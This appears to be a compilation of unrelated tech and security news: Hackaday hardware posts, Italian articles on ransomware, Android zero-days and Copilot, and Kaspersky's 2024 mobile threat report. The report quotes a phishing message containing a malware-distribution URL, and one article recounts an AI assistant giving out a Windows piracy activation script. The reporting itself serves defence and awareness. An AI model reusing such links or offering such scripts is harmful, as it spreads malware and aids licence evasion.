The 12VHPWR connector is a hot topic once again – Nvidia has really let us down on this one. New 5080 and 500 GPUs come with this connector, and they’re once again fire-prone. Well, what if you’re stuck with a newly-built 5080, unwilling to give it up, still hoping to play the newest games or run LLMs locally? [Timo Birnschein] has a simple watchdog solution for you, and it’s super easy to build.

All it takes is an Arduino, three resistors, and three thermistors. Place the thermistors onto the connector’s problematic spots, download the companion software from GitHub, and plug the Arduino into your PC. If a temperature anomaly is detected, like one of the thermistors approaching 100C, the Arduino will simply shut down your PC. The software also includes a tray icon, temperature graphing, and stability features. All is open-source — breadboard it, flash it. You can even add more thermistors to the mix if you’d like!

This hack certainly doesn’t just help protect you from Nvidia’s latest creation – it can help you watch over any sort of potentially hot mod, and it’s very easy to build. Want to watch over connectors on your 3D printer? Build one of these! We’ve seen 12VHPWR have plenty of problems in the past on Nvidia’s cards – it looks like there are quite a few lessons Nvidia is yet to learn.

hackaday.com/2025/03/03/12vhpw…

Have you been to FOSDEM? It’s a yearly two-day megaconference in Brussels, every first weekend of February. Thousands of software and hardware hackers from all across Europe come here each year, make friends, talk software and hardware alike, hold project-specific meetups to drink beer and talk shop, and just have a fun weekend surrounded by like-minded people.

In particular, FOSDEM has free admission – drop by for the weekend, no need to buy entry tickets, just sort out your accomodation, food, travel, and visit for a day or two. I’ve covered FOSDEM quite extensively in 2023, so if you want to know more about how it works, I invite you to check out that article – plenty of stories, cool facts about FOSDEM, showcases, and so on. This year, I’ve also been to FOSDEM, it’s been pretty great, and I’d like to tell you about cool things I’ve seen happen during FOSDEM 2025.

FOSDEM is often described as an open software conference, and you might’ve had been fooled by this if you simply have checked the Wikipedia page. However, let me assure you – there’s always plenty of hardware, large amounts of it! This year, I feel like hardware has taken the spotlight in particular – let me show you at least some of it, so that you know what kinds of cool stuff you can expect and plan for in 2026.

Even Software Was Hardware

Really, the kinds of software FOSDEM hosts, can’t exist without a healthy dose of hardware. Yes, there was no shortage of purely software-specific stands – if you wanted a Debian t-shirt, some Fedora or Jenkins stickers, or a selfie with the Postgresql elephant, they were always at an arm’s reach. Pure software was a surprisingly small part of FOSDEM this year, and I have some theories about it.

This year, it felt like half of all stands were hardware-based, hardware-related, or hardware-dependent in one way or another. First off, of course, hardware is flashy, it makes for effective demos. For instance, if you wanted to drop by, you’d find a Jenkins cluster running on a gaggle of SBCs mounted to a 3D-printed frame – a new and vastly improved build from the version we’ve covered in 2023!

A number of project stands – PostmarketOS, CalyxOS, FuriLabs, – had desks full of smartphones demoing their phone OS offerings. You’d see SteamDecks being used as software demo machines, the FreeCAD table had a laptop running the newest FreeCAD install you could poke and probe (with even a surprise MNT Reform appearance), SBCs common and obscure running demo playback and presentations – making the software world tangible.

Really, if you’re demoing an open-source smart home system, like OpenHAB did, what’s better than bringing a smart-home-in-a-briefcase? And if you’re bringing an open-source game engine, what’s better than demoing it on a SteamDeck? Software has the disadvantage of being quite intangible, and hardware “grounds” it enough that anyone can interact it, conveying code as colours, shapes, and objects in the real world – which is perfect if what you’re starting with is a Git repository, and what you need to create is a conference table people would be interested in.

And Hardware Was Extra Hardware

Of course, we’ve met the usual open-source suspects of the hardware world, too. KiCad and FreeCAD split a table this year. They had logos familiar enough to the crowd that they really didn’t need extra hardware to stand out – instead, they brought merch and stickers. Nevertheless, on the FreeCAD-KiCad split of the table, you’d find a guest exhibit from the Libre Space Foundation, a model of the Picobus V2 satellite launching system, which was incidentally designed with help of both FreeCAD and KiCad.

Next to them, you’d find MicroPython, Espruino, and TinyGo, all promoting high-level languages for microcontrollers, for those of us unemburdened by obligations of memory safety and static typing. In the H building, OpenFlexure had a desk all to themselves, and a Prusa printer was helping them crank out designs to be immediately demoed. Sadly, this year, Pine64 stand was missing – but Pine64 folks could still be found around!

One thing you’d see a ton this year? LoRa, in all forms. Of course, there was the Meshtastic table, with plenty of stickers and demo devices alike, but you’d also regularly find LoRa-equipped devices on tables. This wasn’t the only form of wireless tech, either – the AW building had desks with SDR setups, plenty of HAM tech, and outside on the grass, a group of hackers with radio equipment and a dish antenna setup.

I’ve seen a couple tables being crashed with cool tech, too! For instance, you could meet [arturo182] and his creations (including a hacker-friendly keyboard module series) on Saturday in the AW building, taking up part of the TinyGo table – not scheduled, but definitely most welcome! On one of the desks in the K building, you could find two MNT Reform demo units, one full-sized and one Pocket, on the Genode table – unsurprisingly, there was always a crowd around that table, so if you didn’t notice it, that’s why!

One more recommendation, which doesn’t apply just to FOSDEM – you might want to get a FOSSAsia LED matrix name badge. Nowadays, I tend to go to events in friend groups, and I’ve been surprised how many my friends have gotten themselves the FOSSAsia name badges – the FOSSAsia community is a mainstay at tech events in Europe, so if you’re visiting one and you see these badges around, just look for the FOSSAsia desk to get one. These badges are respectably flashy — you pick the colour! — great for meeting new people in the crowds, and quite cheap! I’ve also learned that FOSSAsia have been improving the badge’s firmware over the years – as far as I can tell, if you’ve ever bought a nametag from FOSSAsia, simply update its firmware with help of your smartphone, and get a number of new features.

Eagerly Awaiting FOSDEM 26

There’s always more to FOSDEM, but this year, I’d like to simply show you all the hardware there was to see. Want to learn more? Check back to the FOSDEM 23 coverage, detailing how FOSDEM operates, talking about their volunteer-rooted structure, the principles and tricks FOSDEM uses to keep the open software world ever so closer together, or perhaps the impressive video recording infrastructure making sure that talks are livestreamed dutifully and published nigh-instantly… Plenty to learn about FOSDEM’s MO! Apart from that, FreeCAD, PostmarketOS, Meshtastic and a good few open-source orgs have made post-FOSDEM blog posts, check them out if you’d like to hear how FOSDEM and your favourite projects meshed together.

FOSDEM is undoubtedly the time and place to celebrate open software in Europe, and at the same time, it’s also a super friendly spot for those of us of Hackaday upbringing. If you’re looking for somewhere to go next February, as a hardware hacker, my understanding is that you won’t be disappointed!

L’orchestra sinfonica di Houston è diventato una vittima del gruppo degli hacker Qilin. Le informazioni sull’attacco informatico sono apparse sul sito web del gruppo. Gli estorsori hanno indicato una scadenza per il riscatto e un contatto TOX per le trattative.

Gli hacker affermano di aver rubato più di 300 GB di dati dell’orchestra e intendono pubblicarli il 5 marzo 2025, lo stesso giorno Scade l’ultimatum per Lee Enterprises. Qilin afferma che i dati rubati includono i resoconti di bilancio dell’orchestra per ottobre 2024, documenti finanziari per maggio 2024 e un piano di sviluppo strategico fino al 2030.

Tra i campioni pubblicati sono inclusi anche elenchi di amministratori fiduciari e membri del consiglio di amministrazione con informazioni personali, tra cui indirizzi, numeri di telefono e indirizzi e-mail. Non è ancora chiaro se i file rubati contengano informazioni finanziarie o personali sui musicisti, sullo staff e sui possessori dei biglietti. L’orchestra non ha ancora commentato la situazione e gli ulteriori sviluppi restano incerti.

Poco dopo la pubblicazione, il post è scomparso dall’elenco sul sito web del gruppo (come riportato da cybernews). Ciò potrebbe indicare che l’organizzazione è entrata in contatto con criminali informatici e potrebbe essere in trattativa per un riscatto in cambio dei dati.

Fondata nel 1913, la Houston Symphony Orchestra è una delle più antiche organizzazioni musicali degli Stati Uniti. L’ensemble è composto da 60 musicisti professionisti che tengono circa 170 concerti all’anno e si esibiscono in oltre 1.000 eventi in scuole, ospedali, chiese e centri comunitari. Il budget annuale dell’orchestra è di circa 28,8 milioni di dollari e la sala concerti può ospitare fino a 2.900 persone, attirando circa 400.000 spettatori ogni anno.

L'articolo Concerto per Ransomware e Orchestra! Qilin Ruba 300 GB di Dati alla Houston Symphony proviene da il blog della sicurezza informatica.

Gli utenti hanno scoperto che se chiedono all’assistente Copilot AI se esiste uno script per attivare Windows 11, riceveranno una guida dettagliata con le istruzioni su come attivare il sistema operativo.

La scorsa settimana, un utente di Reddit ha condiviso una evidenza secondo cui se si chiede alla versione gratuita di Copilot “esiste uno script per attivare Windows 11?”, l’assistente AI fornirà all’utente una guida che include uno script dal repository GitHub di Microsoft Activation Scripts (MAS) che può essere utilizzato per attivare gratuitamente il sistema operativo.

Questo metodo di attivazione di Windows e Office non è nuovo ed è noto da diversi anni, ma un simile consiglio da parte dello strumento di intelligenza artificiale di Microsoft è sembrato molto strano agli utenti. Sebbene Copilot abbia ricordato che “l’utilizzo di metodi di attivazione non autorizzati potrebbe violare i termini di servizio di Microsoft”.

È opportuno sottolineare che gli strumenti del gruppo di cracker Massgrave sono posizionati come open source e che i file del progetto Microsoft Activation Scripts sono disponibili da parecchio tempo su GitHub, che appartiene a Microsoft. Allo stesso tempo, l’azienda non intraprende alcuna azione contro i cracker.

Vale anche la pena notare che di recente un ex dipendente dell’azienda ha affermato che a Microsoft non importa molto della pirateria perché “Microsoft vuole che tu usi Windows 11 perché il prodotto sei tu”.

Tuttavia, dopo che la notizia dello strano comportamento di Copilot si è diffusa attraverso i media e i social network, Microsoft ha chiuso questa falla.

Ora se chiedi a Copilot degli script per l’attivazione di Windows, l’assistente AI risponderà quanto segue: “Non posso aiutarti. L’attivazione di Windows 11 tramite script non autorizzati è illegale e viola i termini di servizio di Microsoft. Si consiglia di utilizzare metodi legittimi per attivare il software, per assicurarsi di ricevere aggiornamenti e supporto adeguati.Se hai bisogno di aiuto per l’attivazione di Windows 11, puoi visitare la pagina ufficiale del supporto Microsoft per ricevere assistenza”.

Come notano i giornalisti, ormai ogni tentativo di discutere con Copilot o di convincere l’IA a riconsiderare la sua decisione non produce alcun risultato.

L'articolo Microsoft Copilot fornisce agli utenti HowTo su come attivare Windows proviene da il blog della sicurezza informatica.

Got a Flipper Zero? Ever wanted to use a high-level but powerful scripting language on it? Thanks to [Oliver] we now have a MicroPython application for the Flipper, complete with a library for hardware and software feature support. Load it up, start it up, connect over USB, and you’ve got the ever-so-convenient REPL at your disposal. Or, upload a Python script to your Flipper and run them directly from Flipper’s UI at your convenience!

In the API docs, we’re seeing support for every single primitive you could want – GPIO (including the headers at the top, of course), a healthy library for LCD and LCD backlight control, button handling, SD card support, speaker library for producing tones, ADC and PWM, vibromotor, logging, and even infrared transmit/receive support. Hopefully, we get support for Flipper’s wireless capabilities at some point, too!

Check out the code examples, get the latest release from the Flipper app portal or GitHub, load it up, and play! Mp-flipper has existed for the better half of a year now, so it’s a pretty mature application, and it adds quite a bit to Flipper’s use cases in our world of hardware hacking. Want to develop an app for the Flipper in Python or otherwise? Check out this small-screen UI design toolkit or this editor we’ve featured recently!

hackaday.com/2025/03/03/a-micr…

These statistics are based on detection alerts from Kaspersky products, collected from users who consented to provide statistical data to Kaspersky Security Network. The statistics for previous years may differ from earlier publications due to a data and methodology revision implemented in 2024.

The year in figures

According to Kaspersky Security Network, in 2024:

• A total of 33.3 million attacks involving malware, adware or unwanted mobile software were prevented.
• Adware, the most common mobile threat, accounted for 35% of total detections.
• A total of 1.1 million malicious and potentially unwanted installation packages were detected, almost 69,000 of which associated with mobile banking Trojans.

The year’s trends

In 2024, cybercriminals launched a monthly average of 2.8 million malware, adware or unwanted software attacks targeting mobile devices. In total, Kaspersky products blocked 33,265,112 attacks in 2024.

Attacks on Kaspersky mobile users in 2024 (download)

At the end of 2024, we discovered a new distribution scheme for the Mamont banking Trojan, targeting users of Android devices in Russia. The attackers lured users with a variety of discounted products. The victim had to send a message to place an order. Some time later, the user received a phishing link to download malware disguised as a shipment tracking app.

The phishing link as seen in the chat with the fraudsters

See translation
Your order has shipped.
42609775
Your order tracking code.
You can track your order in the mobile app:
https://.pilpesti573.ru/page/e5d565fdfd7ce
Tracker
To pay for your order AFTER YOU RECEIVE IT, enter your tracking code IN THE APP above and wait for your order details to load. We recommend keeping the app open while you are doing so. Loading the track code may take more than 30 minutes.

In August 2024, researchers at ESET described a new NFC banking scam discovered in the Czech Republic. The scammers employed phishing websites to spread malicious mods of the legitimate app NFCGate. These used a variety of pretexts to persuade the victim to place a bank card next to the back of their phone for an NFC connection. The card details were leaked to the fraudsters who then made small contactless payments or withdrew money at ATMs.

A similar scheme was later spotted in Russia, where malware masqueraded as banking and e-government apps. The SpyNote RAT was occasionally used as the malware dropper and NFC activator.

A screenshot of the fake mobile app

See translation
Hold your card against the NFC contactless payment module for verification.
Ready to scan

Also in 2024, we detected many new preinstalled malicious apps that we assigned the generalized verdict of Trojan.AndroidOS.Adinstall. A further discovery, made in July, was the LinkDoor backdoor, also known as Vo1d, installed on Android-powered TV set-top boxes. It was located inside an infected system application com.google.android.services. The malware was capable of running arbitrary executables and downloading and installing any APKs.

On top of the above, we discovered several apps on Google Play, each containing a malicious SDK implant named “SparkCat”, which began to spread at least as early as March 2024. Infected apps were deleted by the store in February 2025: nevertheless, our telemetry data shows that other apps containing SparkCat are distributed through unofficial sources.

This SDK received a C2 server command with a list of keywords or dictionaries to search the gallery on the device for images to exfiltrate. Our data suggests that the Trojan was aimed at stealing recovery phrases for cryptocurrency wallets of Android users primarily in the UAE, Europe and Asia.

It is worth noting that the same implant for iOS was delivered via the App Store, which makes it the first known OCR malware to sneak into Apple’s official marketplace. Apple removed the infected apps in February 2025.

Mobile threat statistics

We discovered 1,133,329 malicious and potentially unwanted installation packages in 2024. This was below the 2023 figure, but the difference was smaller than the year before. The trend in the number of new unique malware installation packages appears to be plateauing.

Detected Android-specific malware and unwanted software installation packages in 2021–2024 (download)

Detected packages by type

Detected mobile apps by type in 2023 and 2024 (download)

Adware and RiskTool apps continued to dominate the rankings of detected threats by type. The BrowserAd (22.8%), HiddenAd (20.3%) and Adlo (16%) families accounted for the largest number of new installation packages in the former category. RiskTool’s share grew largely due to an increase in the number of Fakapp pornographic apps.

Share* of users attacked by the given type of malware or unwanted software out of all targeted Kaspersky mobile users in 2023–2024 (download)

*The total may exceed 100% if the same users experienced multiple attack types.

Banking Trojans gained three positions as compared with 2023 to occupy fourth place, following the usual leaders: adware, Trojans, and RiskTool.

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware and potentially unwanted apps, such as adware and RiskTool.

* Share of unique users who encountered this malware as a percentage of all attacked Kaspersky mobile users

Fakemoney, a family of investment and payout scam apps, showed the highest level of activity in 2024. Third-party WhatsApp mods with the Triada.ga embedded Trojan were third, following the generalized cloud-specific verdict of DangerousObject.Multi.Generic. Many other messaging app mods in the same family, namely Triada.fd, Triada.gs, Triada.gn and Triada.gm, hit the TOP 20 too.

Mamont banking Trojans, ranking fourth by number of attacked users, gained high popularity with cybercriminals. These malicious apps come in a multitude of variants. They typically target users’ funds via SMS or USSD requests. One of them spreads under the guise of a parcel tracking app for fake online stores.

Various malware files detected by machine learning technology ranked fifth (Trojan.AndroidOS.Boogr.gsh) and seventh (DangerousObject.AndroidOS.GenericML). They were followed by the Dwphon Trojan that came preinstalled on certain devices. The SpyNote RAT Trojans, which remained active throughout the year, occupied ninth, tenth and twentieth places.

Region-specific malware

This section describes malware types that mostly affected specific countries.

* Country where the malware was most active
* Share of unique users who encountered the malware in the indicated country as a percentage of all Kaspersky mobile security users attacked by the malware

Turkey and India accounted for the majority of region-specific threats in 2024. A variety of banking Trojans continued to be active in Turkey. Piom Trojans were associated with GodFather and BrowBot banker campaigns.

Users in India were attacked by Rewardsteal bankers and a variety of SmsThief SMS spies. Our quarterly reports have covered FakePay utilities widespread in Brazil and designed to defraud sellers by imitating payment transactions.

Mobile banking Trojans

The number of new banking Trojan installation packages dropped again to 68,730 as compared to the previous year.

The number of mobile banking Trojan installation packages detected by Kaspersky in 2021–2024 (download)

The total number of banker attacks increased dramatically over 2023’s level despite the drop in the number of unique installation packages. The trend has persisted for years. This may suggest that scammers began to scale down their efforts to generate unique applications, focusing instead on distributing the same files to a maximum number of victims.

TOP 10 mobile bankers

* Share of unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats

Conclusion

The number of unique malware and unwanted software installation packages continued to decline year to year in 2024. However, the rate of that decline slowed down. The upward trend in mobile banking Trojan activity persisted despite the years-long decrease in unique installation packages.

Cybercriminals kept trying to sneak malware into official app stores like Google Play, but we also discovered a fair number of diverse preinstalled malicious apps in 2024. Speaking of interesting techniques first spotted last year, the use of NFC for stealing bank card data stands out.

securelist.com/mobile-threat-r…

Le forze di sicurezza serbe hanno sfruttato una serie di vulnerabilità zero-daydi Android sviluppate dall’azienda israeliana Cellebrite per sbloccare il telefono di uno studente attivista e tentare di installare uno spyware.

Cellebrite è specializzata in informatica forense e sviluppa strumenti per le forze dell’ordine, le agenzie di intelligence e le aziende private per estrarre dati dai dispositivi mobili. Tali aziende spesso utilizzano exploit Zero-day per aggirare la protezione dei telefoni bloccati.

In seguito alla pubblicazione da parte di Amnesty International di possibili violazioni dei diritti alla privacy in Serbia nel dicembre 2024, Cellebrite ha bloccato l’accesso ai suoi strumenti per i servizi speciali serbi. Tuttavia, non si sa esattamente quando le autorità abbiano avuto accesso alla vulnerabilità e l’abbiano sfruttata.

Google ha confermato tre vulnerabilità nei driver USB Linux utilizzati in Android che sono stati coinvolti nell’attacco:

• CVE-2024-53104 (punteggio CVSS: 7,8) (exploit della classe video USB);
• CVE-2024-53197 (punteggio CVSS: 5,5) (exploit del driver audio USB ALSA);
• CVE-2024-50302 (Punteggio CVSS: 5,5) (Exploit del dispositivo USB HID).

Il primo bug ha ricevuto una correzione in un aggiornamento di sicurezza di febbraio 2025, classificato come “a sfruttamento limitato”. Gli altri due non sono ancora inclusi nelle patch ufficiali. La correzione dei bug può richiedere tempo, soprattutto per i dispositivi che raramente ricevono aggiornamenti del kernel.

Presso l’Amnesty Security Lab è stato dichiarato che correggere CVE-2024-53104 potrebbe interrompere l’intera catena di sfruttamento, ma non vi è ancora la certezza assoluta al riguardo. A loro volta, gli sviluppatori di GrapheneOS notato che la loro versione di Android contiene già le correzioni per le due vulnerabilità rimanenti.

Google ha rilasciato le correzioni ai partner OEM il 18 gennaio. Tutte le vulnerabilità saranno incluse nei futuri bollettini sulla sicurezza di Android e diventeranno obbligatorie.

Le vulnerabilità USB vengono spesso sfruttate per aggirare la sicurezza del dispositivo, consentendo l’esecuzione di codice arbitrario, comandi dannosi o aggirando la schermata di blocco. Tuttavia, lo sfruttamento presuppone l’accesso fisico allo smartphone: in questo caso, ciò è stato possibile arrestando il proprietario del dispositivo da parte della polizia. A differenza di Apple, Android di serie non ha una modalità USB con restrizioni simili, ma gli utenti possono ridurre al minimo i rischi disattivando il debug USB nelle impostazioni e abilitando la funzione di crittografia dei dati.

L'articolo Google Conferma: Tre Gravi Bug Android Usati per Spiare Giornalisti e Attivisti! proviene da il blog della sicurezza informatica.

What do you do when you need to choose an OS at boot but aren’t physically near your machine? [Dakhnod]’s inventive solution is a mix of GRUB, Wake-on-LAN (WOL), and a lightweight ESP8266 running a simple HTTP server. In the past, [dakhnod] already enlightened us with another smart ESP hack. This one’s a clever combination of network booting and remote control that opens up possibilities beyond the usual dual-boot selector.

At its core, the hack modifies GRUB to fetch its boot configuration over HTTP. The ESP8266 (or any low-power device) serves up a config file defining which OS should launch. The trick lies in adding a custom script that tells GRUB to source an external config:
#!/usr/bin/env cat
net_dhcp
source (http,destination_ip_or_host:destination_port)/grub/config
Since GRUB itself makes the HTTP request, the system needs a running web server. That could be a Raspberry Pi, another machine, or the ESP itself. From there, a WOL-enabled ESP button can wake the PC and set the boot parameters remotely.

Is it secure? Well, that depends on your network. An open, unauthenticated web server dishing out GRUB configs is risky, but within a controlled LAN or a VLAN-segmented environment, it’s an intriguing option. Automation possibilities are everywhere — imagine remotely booting test rigs, toggling between OS environments for debugging, or even setting up kiosk machines that reconfigure themselves based on external triggers.

For those looking to take it further, using configfile instead of source allows for more dynamic menu entries, although it won’t persist environment variables. You could even combine it with this RasPi hack to control the uptime of the HTTP server. The balance between convenience and security is yours to strike.

If you’ve got your own wild GRUB customisation, let’s hear it!

hackaday.com/2025/03/03/wake-b…

Il ransomware continua a rappresentare una delle minacce più pervasive e dannose nel panorama della cybersecurity globale. Secondo il report “DarkMirror” di DarkLab, relativo al secondo semestre del 2024, gli attacchi ransomware hanno mostrato un’evoluzione significativa sia nelle tecniche utilizzate che negli obiettivi colpiti. Questo report emesso dal collettivo DarkLab (il laboratorio sull’intelligence delle minacce di Red Hot Cyber) offre una panoramica delle principali tendenze emerse, con un focus sui dati quantitativi e sulle implicazioni per la sicurezza informatica.

Vengono analizzati i trend globali del ransomware nel secondo semestre del 2024, con un focus sulle tendenze emergenti, le tattiche dei gruppi criminali e l’impatto sui vari settori. Viene approfondita la situazione del comparto Italia, evidenziando le peculiarità del contesto nazionale. Si esplora inoltre il lato oscuro dell’intelligenza artificiale, utilizzata sempre più spesso dai cybercriminali per ottimizzare gli attacchi. Il report dedica ampio spazio ai Threat Actors, con un’analisi dettagliata della loro evoluzione e le nuove tecniche, tattiche e procedure (TTPs).

Non mancano approfondimenti sulle operazioni di law enforcement condotte a livello internazionale e un’analisi dell’economia del ransomware, inclusa una valutazione delle transazioni dei wallet criminali. Infine, il report include interviste ai Threat Actors (constantemente svolte da Red Hot Cyber) e una rassegna sui nuovi gruppi emersi nel panorama delle minacce.

Il report è stato realizzato dal gruppo DarkLab e nello specifico da Pietro Melillo, Olivia Terrangi, Alessio Stefan, Carlo Mauceli, Inva Malaj, Luca Galuppi, Massimiliano Brolli, Edoardo Faccioli, Raffaela Crisci, Andrea Mario Muscarà.

Scarica il report DarkMirror : il Report sulla minaccia ransomware di H2 2024

Trend Ransomware a livello globale

Il fenomeno del ransomware nel 2024 ha continuato a rappresentare una minaccia persistente e in crescita (Come visto nell’estratto di Pietro Melillo, Andrea Mario Muscarà ed Inva Malaj), colpendo indistintamente sia economie sviluppate che in via di sviluppo. Secondo i dati raccolti da Dark Lab, sono state documentate 5333 vittime di attacchi a livello globale, un numero che rappresenta solo una frazione della reale portata del problema. Gli Stati Uniti si confermano il paese più colpito, con 2748 vittime documentate, seguiti da Canada (283), Regno Unito (277) e Germania (168). Questo dimostra che le nazioni con infrastrutture digitali avanzate sono tra i principali obiettivi dei cybercriminali.

L’industria e i servizi emergono come i settori economici più bersagliati dagli attacchi ransomware. Con 898 attacchi registrati, il comparto industriale è quello maggiormente colpito, a causa delle vulnerabilità presenti nelle sue infrastrutture IT. Il settore dei servizi segue con 777 attacchi, evidenziando rischi significativi nella gestione dei dati critici. Anche la costruzione (462 attacchi) e la tecnologia (424 attacchi) sono particolarmente esposte, dato il valore delle informazioni sensibili trattate.

La sanità rappresenta un altro settore chiave colpito, con 413 attacchi registrati, mettendo a rischio la sicurezza dei dati dei pazienti e la continuità operativa delle strutture sanitarie. I comparti del retail (325 attacchi), finanziario (288 attacchi) e pubblico (273 attacchi) mostrano anch’essi un’esposizione elevata, mentre settori come l’educazione (230 attacchi) e Hospital (192 attacchi) subiscono attacchi con impatti generalmente meno critici ma comunque rilevanti.

L’analisi dei dati conferma che il ransomware non risparmia alcun settore e si adatta alle vulnerabilità specifiche di ciascun comparto. La crescente sofisticazione delle tecniche di attacco, unite alla strategia della doppia estorsione, impongono misure di sicurezza più efficaci per proteggere le infrastrutture critiche e i dati sensibili. Investire in cybersecurity e resilienza digitale diventa sempre più essenziale per mitigare i danni causati da questa minaccia globale.

[strong]Scarica il report DarkMirror : il Report sulla minaccia ransomware di H2 2024[/strong]

Trend Ransomware a livello Italia

L’analisi delle minacce ransomware in Italia nel 2024, rileva che c’è stata una importante flessione delle vittime che sono passate dalle 192 del 2023 alle 149 del 2024 (Come visto nell’estratto di Luca Galuppi e Marco Mazzola). Altresì evidenziamo una crescente concentrazione di attacchi in settori strategici, con l’industria che si conferma il bersaglio principale, seguita dal retail e dal comparto tecnologico. Gli attacchi rivolti alle infrastrutture critiche, come energia e sanità, pur rappresentando una percentuale inferiore, restano di particolare interesse per il loro potenziale impatto. Questo scenario sottolinea l’urgenza di strategie di difesa avanzate per proteggere i comparti chiave dell’economia nazionale.

Dal punto di vista degli attori malevoli, il gruppo RansomHub si distingue come il più attivo, con 18 attacchi documentati, seguito da 8Base e LockBit 3, entrambi con 12 attacchi. Altri gruppi di rilievo includono BlackBasta, Akira e Argoanuts, che continuano a rappresentare una minaccia significativa. Nonostante alcuni gruppi abbiano un numero inferiore di attacchi, come Hunters, Ciphbit, DragonForce e Meow, la loro attività non deve essere sottovalutata, in quanto spesso operano in modo mirato e con tecniche sofisticate.

Un elemento degno di nota è la variazione nella distribuzione degli attacchi tra i settori economici. Il comparto dei servizi mostra una crescita significativa negli attacchi subiti, mentre il settore tecnologico sembra registrare un lieve calo. Tuttavia, l’industria resta il principale obiettivo delle cyber gang, rendendo necessaria una risposta tempestiva per mitigare i rischi e rafforzare la resilienza delle infrastrutture critiche italiane.

Scarica DarkMirror : il Report sulla minaccia ransomware di H2 2024

Threat Actors: una analisi del contesto e della evoluzione

Proseguono nel secondo semestre 2024 complesse intrusioni multifase (come riportato dall’estratto di Olivia Terragni, Alessio Stefan, Pietro Melillo) di livello globale e nella scala operazionale si può notare sia il ‘declino’ di Lockbit sia una frammentazione, con l’emergere di nuovi ceppi ransomware in un’intensificazione di minacce significative distinte da pratiche sempre più intimidatorie e tecniche di attacco avanzate (utilizzate anche daI gruppi ATP) sempre più efficienti nell’eludere le difese.

Le nuove minacce nel panorama della cybersecurity stanno evolvendo rapidamente, con l’intelligenza artificiale (AI) che gioca un ruolo sempre più significativo (come riportato dall’estratto di Carlo Mauceli). L’AI non solo sta trasformando il modo in cui le organizzazioni si difendono dagli attacchi informatici, ma sta anche diventando uno strumento potente nelle mani dei cybercriminali. Questi ultimi stanno utilizzando l’AI per sviluppare malware più sofisticati, automatizzare attacchi e superare le difese tradizionali. La crescente accessibilità di strumenti di AI, come ChatGPT, ha sollevato preoccupazioni riguardo al loro potenziale utilizzo per scopi malevoli, tra cui la creazione di phishing più convincenti e la pianificazione di attacchi più mirati. Questo scenario richiede una risposta proattiva da parte delle forze dell’ordine e delle aziende di sicurezza per mitigare i rischi associati all’uso malevolo dell’AI.

Le operazioni internazionali di contrasto al ransomware hanno visto un’intensificazione negli ultimi anni, con sforzi coordinati tra agenzie di sicurezza, forze di polizia e unità specializzate in cyber intelligence. Operazioni come Cronos ed Endgame (come visto nell’estratto di Raffaela Crisci) hanno dimostrato l’efficacia di un approccio collaborativo, portando al smantellamento di infrastrutture critiche utilizzate dai gruppi ransomware e all’arresto di figure chiave. Ad esempio, l’Operazione Cronos ha colpito duramente il gruppo LockBit, sequestrando domini e compromettendo la loro infrastruttura interna. Queste operazioni non si limitano a semplici sequestri, ma includono tattiche di interferenza massiccia, come la diffusione di disinformazione all’interno delle reti criminali, minando la loro capacità operativa. Nonostante questi successi, i gruppi ransomware continuano ad adattarsi, sviluppando nuove varianti di malware e tecniche per eludere le autorità.

Un elemento di grande rilevanza all’interno del report sono le interviste ai Threat Actors condotte dal team DarkLab (come evidenziato nell’estratto di Massimiliano Brolli e Alessio Stefan). Nel secondo semestre del 2024, il gruppo è riuscito a intervistare diverse cyber gang ransomware, tra cui Ransom Cortex, RADAR, DISPOSSESSOR, Quilin, Lynx, Stormous e Interlock. Nel report precedente, invece, erano state pubblicate le interviste a Vari Group, Cicada6601 e Azzasec.

L’economia del ransomware è in costante crescita, con introiti che hanno superato il miliardo di dollari nel 2023. Le analisi condotte da DarkLab (come visto nell’estratto di Alessio Stefan ed Edoardo Faccioli) rivelano che, nonostante una diminuzione nel numero di transazioni, il saldo dei wallet collegati ai pagamenti ransomware è aumentato significativamente. Questo indica una strategia sempre più aggressiva da parte dei gruppi ransomware, che puntano su richieste di riscatto più elevate e su obiettivi di alto profilo. Le criptovalute continuano a essere il mezzo preferito per i pagamenti, grazie alla loro natura decentralizzata e alla difficoltà di tracciamento. Tuttavia, le forze dell’ordine stanno intensificando gli sforzi per monitorare e congelare i fondi illeciti, come dimostrato dal sequestro di oltre 30.000 wallet Bitcoin durante l’Operazione Cronos.

Scarica il report DarkMirror : il Report sulla minaccia ransomware di H2 2024

Conclusioni

Il report DarkMirror di DarkLab evidenzia come il ransomware continui a essere una delle minacce più devastanti nel panorama della cybersecurity globale. Nel secondo semestre del 2024, gli attacchi hanno subito un’evoluzione sia nelle tecniche che negli obiettivi, con un aumento della sofisticazione delle operazioni e una frammentazione del panorama dei Threat Actors. Le economie digitalmente avanzate restano i bersagli primari, con gli Stati Uniti in testa, mentre il settore industriale e quello dei servizi si confermano i più colpiti. La strategia della doppia estorsione e l’uso di tecnologie avanzate da parte dei cybercriminali impongono un rafforzamento delle misure di sicurezza per proteggere infrastrutture critiche e dati sensibili.

In Italia, il numero di attacchi ransomware è calato rispetto all’anno precedente, ma si registra una maggiore concentrazione su settori strategici come industria, retail e tecnologia. Il gruppo RansomHub emerge come il più attivo, seguito da 8Base e LockBit 3, mentre nuove cyber gang stanno guadagnando terreno. La sanità e le infrastrutture critiche restano a rischio, sottolineando l’urgenza di strategie di difesa più avanzate. Sebbene alcuni settori mostrino una leggera riduzione degli attacchi, il panorama delle minacce rimane dinamico e in continua evoluzione, rendendo necessarie azioni mirate per migliorare la resilienza delle organizzazioni italiane.

L’intelligenza artificiale sta giocando un ruolo sempre più rilevante sia nella difesa che negli attacchi informatici. I cybercriminali sfruttano l’AI per creare malware più sofisticati, automatizzare attacchi e rendere più efficaci le campagne di phishing. L’accessibilità di strumenti AI avanzati ha reso più semplice per le cyber gang sviluppare minacce sempre più difficili da rilevare, obbligando aziende e forze dell’ordine a potenziare le strategie di contrasto. Le operazioni di law enforcement hanno ottenuto successi significativi, con azioni coordinate come l’Operazione Cronos ed Endgame che hanno colpito duramente gruppi come LockBit, ma i criminali continuano ad adattarsi e a evolversi rapidamente.

Un elemento distintivo del report è l’analisi diretta dei Threat Actors, basata sulle interviste condotte dal team DarkLab con gruppi ransomware come Ransom Cortex, RADAR, DISPOSSESSOR, Quilin e Stormous. Queste conversazioni offrono uno spaccato unico sulle motivazioni, le strategie e le dinamiche interne delle cyber gang, contribuendo a una comprensione più approfondita delle minacce. La crescente specializzazione dei gruppi e l’intensificazione delle loro attività rendono essenziale un monitoraggio costante del dark web e delle nuove tattiche emergenti per anticipare le future evoluzioni del ransomware.

